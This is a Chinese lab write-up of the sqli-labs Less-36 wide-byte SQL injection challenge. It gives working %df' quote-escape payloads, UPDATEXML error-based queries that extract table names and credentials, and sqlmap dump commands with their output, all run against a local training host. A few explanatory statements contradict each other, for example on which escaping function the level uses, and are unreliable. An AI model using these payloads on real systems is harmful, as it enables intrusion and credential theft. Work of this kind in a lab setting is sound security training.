sqli-labs通关笔记-第36关GET宽字符注入(单引号闭合 手工注入+脚本注入 3种方法)

发布于:2025-08-10 ⋅ 阅读:(12) ⋅ 点赞:(0)

目录

一、转义函数

1、mysqli_real_escape_string

2、addslashes

3、转义区别

二、宽字符注入

三、sqlmap之tamper

四、sqlmap之unmagicquotes 

五、源码分析

1、代码审计

2、SQL注入安全性分析

六、渗透实战

1、进入靶场

2、id=1探测

3、id=-1探测

4、id=1%df' and 1=2 -- 探测

5、id=1%df' or 1=1 -- 探测

6、手动注入(方法1)

(1)获取数据库名

(2)获取表名

(3)获取列名

(4)获取数据

7、sqlmap渗透实战(方法2) 

8、sqlmap渗透实战(方法3) 


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节使用3种方法(手工注入+2种脚本注入)对第36关Less 36基于宽字符的SQL注入关卡进行渗透实战。  

一、转义函数

1、mysqli_real_escape_string

  • 是 MySQL 官方提供的数据库连接对象(mysqli)的内置函数。
  • 依赖当前连接的字符集,会根据 mysqli 对象的字符集(如 gbkutf8 等)对特殊字符进行转义(如 对'"\添加转义符 \),确保转义后字符串在数据库中正确解析,避免 SQL 注入。
  • 安全性更高,专门针对 MySQL 设计,能处理不同字符集下的特殊字符(如多字节字符中的 \x5c 和 \x27 组合),有效防御 SQL 注入。
  • 不过若字符集为 GBK/GB2312,某些情况下攻击者仍可利用宽字节特性绕过转义。
场景 mysqli_real_escape_string 效果 是否存在款子字节注入风险
字符集为 UTF-8 正确转义所有特殊字符,无法形成宽字符组合
字符集为 GBK/GB2312 转义符 \ 可能被宽字节 “吃掉”,单引号逃逸

2、addslashes

  • 是 PHP 内置的通用字符串转义函数。
  • 不依赖字符集,直接对 '"\NULL 等特殊字符添加反斜杠(\)进行转义,属于 “固定规则” 转义,可能因字符集问题导致转义不彻底(如宽字节注入)。
  • 安全性较低,无法感知字符集,在宽字节场景下(如数据库字符集为 gbk),可能被利用绕过转义(例如 %df' 会与 \ 组合成 �',导致单引号逃逸)

3、转义区别

mysqli_real_escape_string 与 addslashes 的区别如下表所示。

对比维度 mysqli_real_escape_string addslashes
所属类别 MySQL 官方 mysqli 扩展函数 PHP 内置通用函数
字符集依赖 依赖 mysqli 连接的字符集(如 gbkutf8 不依赖字符集,固定转义规则
转义逻辑 根据字符集智能转义特殊字符(如多字节字符中的危险符号) 直接对 '"\NULL 添加 \ 转义
防御 SQL 注入 强(专门针对 MySQL 设计,多数场景下可防宽字节注入) 弱(可能因字符集问题导致逃逸,如宽字节攻击)
使用前提 必须存在有效的 mysqli 连接对象 无需依赖任何扩展或连接,可独立使用
典型场景 MySQL 数据库查询参数的转义 非数据库场景的字符串转义(如 HTML 显示)
安全性等级 高(官方推荐方案) 低(仅适用于非安全场景)

二、宽字符注入

宽字节注入是一种利用数据库字符集转换安全风险的SQL注入技术,主要影响使用GBK、BIG5等多字节字符集的系统。

宽字节SQL的核心条件如下所示。

  • 数据库使用宽字节字符集(如 GBK、GB2312 等)。
  • 输入数据未正确处理编码,比如闭合方式为单引号时,导致转义符\被 “吃掉”。其核心原理如下所示。
    • 当系统使用addslashes或mysql_real_escape_string转义单引号时,会添加反斜杠(\')

    • 在GBK编码中,%df%5c可组成一个合法汉字"運"

    • 攻击者构造%df',转义后变为%df%5c%27,被解析为"運'"使单引号逃逸

这里要特别强调,数值型参数本身不受宽字节注入影响。

三、sqlmap之tamper

sqlmap是一款开源的自动化SQL注入检测与利用工具,由Python编写。Tamper脚本是SQLMap中用于绕过WAF/IDS/IPS的脚本模块,通过对注入payload进行特定变换来规避安全检测。常用的tamper脚本功能如下所示。

Tamper名称 功能描述
space2comment /**/替换空格
randomcase 随机大小写转换
between NOT BETWEEN 0 AND #替换>,用BETWEEN # AND #替换=
charencode 对payload进行URL编码
charunicodeencode 使用Unicode编码
equaltolike LIKE替换=
greatest GREATEST函数绕过对>的过滤
halfversionedmorekeywords 在关键字前添加MySQL注释(针对特定MySQL版本)
modsecurityversioned 使用MySQL注释绕过ModSecurity
space2plus +替换空格
space2hash #加换行符替换空格
apostrophemask 用UTF-8全角字符替换单引号

四、sqlmap之unmagicquotes 

--tamper unmagicquotes 是 sqlmap 工具中的一个参数选项,用于在进行 SQL 注入测试时,对输入数据进行特定的处理,以绕过某些应用程序中可能存在的 magic_quotes_gpc 或类似的自动转义机制。

  • magic_quotes_gpc 简介

    • magic_quotes_gpc 是 PHP 中的一个配置选项,它会自动对用户输入的数据进行转义,在特殊字符(如单引号 '、双引号 "、反斜杠 \ 和 NULL 字符)前添加反斜杠 \。其目的是为了防止 SQL 注入攻击,但在某些情况下可能会带来不便,并且也不能完全防止所有类型的 SQL 注入。
  • --tamper unmagicquotes 的作用

    • 当使用 sqlmap 进行 SQL 注入测试时,如果目标应用程序启用了 magic_quotes_gpc 或类似的自动转义机制,sqlmap 会自动检测到并尝试绕过它。
    • --tamper unmagicquotes 参数的作用就是告诉 sqlmap 对输入数据进行处理,去除自动添加的反斜杠,以便能够成功地进行 SQL 注入测试。

五、源码分析

1、代码审计

本关卡Less36是基于宽字符型的SQL注入关卡,打开对应的源码index.php,如下所示。

Less36关卡功能是简单基于id的查询页面,与33关卡区别主要是对字符型参数转义处理逻辑使用的函数不同,33关使用addslashes() 对参数id进行转义处理,而36关使用mysqli_real_escape_string函数对id进行转义处理, 具体区别如下所示。

36关卡详细注释过的源码如下所示。

<?php
// 引入数据库连接配置文件
include("../sql-connections/sqli-connect.php");
// 关闭错误报告,避免敏感信息泄露
error_reporting(0);

/**
 * 转义函数:使用mysqli_real_escape_string对输入进行转义
 * @param mysqli $con1 数据库连接对象
 * @param string $string 待转义的字符串
 * @return string 转义后的字符串
 */
function check_quotes($con1, $string) {
    $string = mysqli_real_escape_string($con1, $string); // 转义SQL特殊字符(如单引号、反斜杠等)
    return $string;
}

// 处理GET参数id
if (isset($_GET['id'])) {
    $id = check_quotes($con1, $_GET['id']); // 调用转义函数处理输入
    // echo "The filtered request is :" .$id . "<br>"; // 调试用,输出过滤后的参数

    // 记录id参数到日志文件(路径为当前目录下的result.txt)
    $fp = fopen('result.txt', 'a');
    fwrite($fp, 'ID:' . $id . "\n");
    fclose($fp);

    // 设置数据库字符集为gbk(关键配置,可能引发宽字符注入)
    mysqli_query($con1, "SET NAMES gbk");
    
    // 构造SQL查询语句(字符串类型参数,使用单引号包裹)
    $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result = mysqli_query($con1, $sql);
    $row = mysqli_fetch_array($result, MYSQLI_BOTH);

    if ($row) { // 查询成功,显示用户信息
        echo '<font color= "#00FF00">';
        echo 'Your Login name:' . $row['username'];
        echo "<br>Your Password:" . $row['password'];
        echo "</font>";
    } else { // 查询失败,显示数据库错误信息(可用于错误回显注入)
        echo '<font color= "#FFFF00">';
        print_r(mysqli_error($con1)); // 输出数据库错误,如语法错误、表不存在等
        echo "</font>";  
    }
} else { // 未提供id参数时的提示
    echo "Please input the ID as parameter with numeric value";
}
?>

本关卡通过使用addslashes()转义逻辑,结合gbk字符集演示了宽字符注入的原理。核心安全风险在于转义后的反斜杠与宽字符组合导致单引号逃逸,核心功能如下所示。

  • 自定义转义函数:使用mysqli_real_escape_string() 的转义逻辑,根据连接字符集对单引号、双引号和反斜杠等进行转义,理论上防御常规 SQL 注入。
  • 参数处理:从 GET 参数获取id,调用转义函数后直接拼接 SQL 查询语句中(SELECT * FROM users WHERE id='$id' LIMIT 0,1)。
  • 数据库配置:显式设置字符集为 gbk,为宽字符注入创造条件。
  • 页面提示信息:
    • 数据库报错信息回显:当 SQL 查询失败时,返回数据库错误信息(如语法错误),可用于注入攻击的错误提示。
    • 用户名密码回显:当SQL查询成功时,返回用户名和密码
    • 调试提示:无论查询成功还是失败页面底部均显示转义后的字符串,帮助理解参数。

2、SQL注入安全性分析

本关卡具有宽字节注入风险,具体分析如下所示。

  • 转义逻辑:
    • 将mysqli_real_escape_string处理过的id直接拼接到SQL注入语句(SELECT * FROM users WHERE id='$id' LIMIT 0,1)中,mysqli_real_escape_string会将单引号(')转义为\'(%5C%27),但在gbk字符集中,%5C(反斜杠)与前一个字节(如%DF)可组合成宽字符(%DF%5C在 gbk 中为无效字符,但会被解析为一个字符),导致单引号%27被释放,存在宽字节注入风险。
    • 数据库字符集为gbk时,反斜杠\(ASCII 码为 5C)与后续字符可能组成一个宽字符,导致转义的单引号虽然被转义却仍然被“放掉”从而构成闭合。
  • 注入流程
    • 输入 payload:%df'(URL 编码为 %df%27)。
    • 单引号转义后变为:\' URL 编码为 %5C%27,%df'转移后变为了%df%5C%27
    • 在gbk字符集中,%df%5C 被解析为一个宽字符,%27(单引号)被保留。

六、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page2,如下图红框所示。 

其中第35关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。

http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap

点击上图红框的Less36关卡,进入到靶场的第36关卡,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“Hint: The Query String you input is escaped as ”,具体如下所示。

http://192.168.59.1/sqli-labs/Less-36

2、id=1探测

http://192.168.59.1/sqli-labs/Less-36/?id=1

如下所示显示id=1用户的账户名和密码,以及两个提示,如下所示。 

3、id=-1探测

http://192.168.59.1/sqli-labs/Less-36/?id=-1

如下所示id=-1这个用户不存在,查询失败页面下方显示两个提示,如下所示。  

4、id=1%df' and 1=2 -- 探测

注入内容设置为1%df' and 1=2 -- ,由于空格的URL编码为加号,完整URL如下所示。

http://192.168.59.1/sqli-labs/Less-36/?id=1%df' and 1=2--+

5、id=1%df' or 1=1 -- 探测

注入内容设置为%df' or 1=1 -- ,由于空格的URL编码为加号,完整URL如下所示。

http://192.168.59.1/sqli-labs/Less-36/?id=%df' or 1=1--+

此时渗透成功,显示了id=1的用户名和密码Dumb,如下所示。 

6、手动注入(方法1)

(1)获取数据库名

如下所示,数据库的名称为“security”。

http://192.168.59.1/sqli-labs/Less-36?id=-1%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1)--+

(2)获取表名

如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。

http://192.168.59.1/sqli-labs/Less-36?id=-1%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()),0x7e),1)--+

(3)获取列名

如下所示,数据库users表的列名分别为id,username,password。特别注意这里users表使用十六进制0x7573657273表示,因为'users'会被转义,此时渗透成功。

http://192.168.59.1/sqli-labs/Less-36?id=-1%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x7573657273),0x7e),1)--+

(4)获取数据

最后通过上一步获取到的列名来提取users表的第一行的用户名和密码内容,这里符号:也被替换为0x3a,如下所示渗透成功。

http://192.168.59.1/sqli-labs/Less-36?id=-1%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM users LIMIT 0,1),0x7e),1)--+

7、sqlmap渗透实战(方法2) 

 我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),其中-u参数指定目标URL地址,在id=1后面增加%df'的目标是指定闭合方式,星号*放在id=1%df'后则是指定注入点为id,完整的SQL注入命令如下所示。

sqlmap -u "http://192.168.59.1/sqli-labs/Less-36/?id=-1%df'*" --current-db  --batch --dump

sqlmap渗透成功,可以通过报错法、时间盲注方法渗透成功,具体信息如下所示。 

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1320 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: http://192.168.59.1:80/sqli-labs/Less-36/?id=1%df' AND GTID_SUBSET(CONCAT(0x71767a7171,(SELECT (ELT(4514=4514,1))),0x7162707a71),4514)-- XaXo

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://192.168.59.1:80/sqli-labs/Less-36/?id=1%df' AND (SELECT 9987 FROM (SELECT(SLEEP(5)))rkuL)-- BsKt
---
[03:30:29] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[03:30:29] [INFO] fetching current database
[03:30:29] [INFO] retrieved: 'security'

Table: emails
[8 entries]
+----+------------------------+
| id | email_id               |
+----+------------------------+
| 1  | Dumb@dhakkan.com       |
| 2  | Angel@iloveu.com       |
| 3  | Dummy@dhakkan.local    |
| 4  | secure@dhakkan.local   |
| 5  | stupid@dhakkan.local   |
| 6  | superman@dhakkan.local |
| 7  | batman@dhakkan.local   |
| 8  | admin@dhakkan.com      |
+----+------------------------+

8、sqlmap渗透实战(方法3) 

使用tamper脚本进行sqlmap渗透,具体命令如下所示。

sqlmap -u "http://192.168.59.1/sqli-labs/Less-36/?id=1" --current-db  --batch --dump --tamper unmagicquotes
  • 探测URL:通过 -u 指定目标 URL 和参数。
  • 获取信息:用 --current-db 获取当前数据库名。
  • 自动化执行--batch 避免人工干预。
  • 数据导出--dump 导出数据库内容。
  • 绕过防护--tamper unmagicquotes 尝试移除多余转义。

如下所示,sqlmap渗透成功,可以通过联合注入法、报错法、布尔盲注、时间盲注方法渗透成功,具体信息如下所示。

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: id=1' AND 4658=4658#

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x7170706271,(SELECT (ELT(5019=5019,1))),0x717a716b71),5019)-- WmWp

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 3115 FROM (SELECT(SLEEP(5)))fuWe)-- AqFz

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: id=-6572' UNION ALL SELECT NULL,CONCAT(0x7170706271,0x58715553674f49746f556e6268516177646458796a77655943644e4e537a48725955504764736647,0x717a716b71),NULL#
---
[03:19:56] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[03:19:56] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[03:19:56] [INFO] fetching current database
current database: 'security'

Database: security
Table: users
[14 entries]
+----+---------------+----------------+
| id | password      | username       |
+----+---------------+----------------+
| 1  | Dumb          | Dumb           |
| 2  | I-kill-you    | Angelina       |
| 3  | p@ssword      | Dummy          |
| 4  | crappy        | secure         |
| 5  | stupidity     | stupid         |
| 6  | genious       | superman       |
| 7  | mob!le        | batman         |
| 8  | mooyuan123456 | admin          |
| 9  | admin1        | admin1         |
| 10 | admin2        | admin2         |
| 11 | admin3        | admin3         |
| 12 | dumbo         | dhakkan        |
| 14 | admin4        | admin4         |
| 15 | 123456        | admin'#mooyuan |
+----+---------------+----------------+


网站公告

今日签到

点亮在社区的每一天
去签到